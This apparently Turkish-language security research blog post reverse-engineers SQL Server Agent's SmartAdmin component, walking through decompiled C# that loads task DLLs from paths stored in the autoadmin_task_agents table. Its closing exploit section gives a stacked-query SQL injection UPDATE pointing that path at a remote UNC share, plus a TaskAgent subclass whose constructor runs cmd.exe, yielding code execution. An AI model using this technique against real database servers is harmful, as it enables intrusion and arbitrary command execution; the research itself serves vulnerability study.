Sql Server Sad Agent
Sql Server Sad Agent⌗
Sql server hepimizin bildigi Microsoft tarafindan gelistirilen veritabani yonetim sistemidir.
Sad Agent⌗
Sql serverda birden fazla ozellik vardir bunlardan biri olan Sql Agent
bugun onu inceleyecegiz. Sql Agent veritabani yonetimi ile ilgili zamanlanmis islemleri otomatize eden bir aractir.
Microsoft.SqlAutoAdmin.SqlAutoAdmin⌗
Sql Agent islemlerini yapan dll Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll
bu dll smartbackup
,jobs
vs ozellikleri barindiran dll.
LoadTaskAgentAssembly⌗
SmartAdminManager’de bulunan LoadTaskAgentAssembly
metoduna bakalim.
private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
{
Assembly assembly = null;
string text = taskAgentDescriptor.binaryName;
if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
{
text = taskAgentDescriptor.binaryPath + "\\" + text;
}
try
{
this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null == assembly)
{
FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
text = fileInfo.DirectoryName + "\\" + taskAgentDescriptor.binaryName;
try
{
this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
assembly = Assembly.LoadFrom(text);
}
catch (FileNotFoundException)
{
this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
}
if (null != assembly)
{
taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
this.UpdateTaskAgentPath(taskAgentDescriptor);
}
}
return assembly;
}
Burada kodu incelemeye baslamadan once dikkat etmemiz gereken TaskAgentDescriptor
nested struct var onda da bakalim.
private struct TaskAgentDescriptor
{
// Token: 0x040000CC RID: 204
public string binaryName;
// Token: 0x040000CD RID: 205
public string binaryPath;
// Token: 0x040000CE RID: 206
public string className;
}
- Assembly assembly = null; olarak tanimlaniyor.
taskAgentDescriptor.binaryName
degeri text degiskenine ataniyor.- Eger
binaryPath
bos degilsebinaryPath + "\\"+ text
birlestiriliyor. - ardindan
Assembly.LoadFrom
ile binary cagiriliyor.
Onemli nokta Assembly.LoadFrom
ama tek basina rce icin yeterli degil (ntlm relay vs icin yeterlidir.)
LoadTaskAgentAssembly Trace⌗
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4
GetTaskAgentDescriptors⌗
private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
{
SmartAdminManager.TaskAgentDescriptor[] array = null;
this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
try
{
this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
int num = 0;
using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
{
this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
{
while (sqlDataReader.Read())
{
array = null;
array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
}
}
}
this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
{
using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
{
while (sqlDataReader2.Read())
{
array[num].binaryName = sqlDataReader2.GetString(1);
array[num].binaryPath = sqlDataReader2.GetString(2);
array[num].className = sqlDataReader2.GetString(3);
num++;
}
}
}
}
}
Run⌗
GetTaskAgentDescriptors
methodunu cagirarak task agent descriptors kisimlarini aliyor ve arraya atiyor.GetTaskAgentDescriptors
methodunun gorevi sql baglantisi kurupautoadmin_task_agents
tablosuna count atiyor ardindanautoadmin_task_agents
tablosuna select atiyor.- Select sorgusundan donen her veriyi
binaryName
,binaryPath
,className
degerlerinitaskAgentDescriptor
arrayina atiyor.
Run
methodunda onemli ve bizi ilgilendiren kisim else bolumu.
Type type = assembly.GetType(taskAgentDescriptor.className);
if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
{
this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible with the current version of SqlAutAdmin");
}
else
{
this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
this.DebugLog("SmartAdminManager.Run: Starting the task.\n");
this.taskAgents[i].Start(this);
array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
array[i].Name = this.taskAgents[i].GetName();
this.DebugLog("SmartAdminManager.Run: Starting the task thread.\n");
array[i].Start();
assembly.GetType(taskAgentDescriptor.className)
ile assembly’dentaskAgentDescriptor.className
type degerini aliyor.- Alinan type degeri null ise veya typeof ile
TaskAgent
classindan mi aliyor. CreateInstance
type’daki FullName’i alir. (Not:CreateInstance
c# da belirli bir class,struct degerlerinin dinamik instance olusturmak icin kullanir.)- Ardindan
Start
metoduna gonderir.
IsSubclassOf⌗
IsSubclassOf bir reflection methodudur. Biraz buna baktigimda gordum ki belirli bir type degerinin baska bir type’in (class’in) alt sinifi olup olmadigini kontrol ediyor bu kodda da bize type bypass kolayligi sagliyor.
TaskAgent⌗
using System;
namespace Microsoft.SqlServer.SmartAdmin
{
// Token: 0x0200002B RID: 43
public abstract class TaskAgent
{
// Token: 0x0600010A RID: 266
public abstract void Start(IServicesFactory services);
// Token: 0x0600010B RID: 267
public abstract void Stop();
// Token: 0x0600010C RID: 268
public abstract void DoWork();
// Token: 0x0600010D RID: 269
public abstract void ExternalJob(string command, LogBaseService jobLogger);
// Token: 0x0600010E RID: 270 RVA: 0x000060B8 File Offset: 0x000050B8
public string GetName()
{
return this.taskAgentSignature;
}
// Token: 0x040000C8 RID: 200
protected string taskAgentSignature;
}
}
Exploit7 Bolumu⌗
Sql injection uzerinden stack query varsa yapilabilir.
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
Microsoft.SqlServer.SmartAdmin
TaskAgent classindan bir class turetelim.
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}
public override void DoWork()
{
}
public override void ExternalJob(string command, LogBaseService jobLogger)
{
}
public override void Start(IServicesFactory services)
{
}
public override void Stop()
{
}
public void Test()
{
}
}
}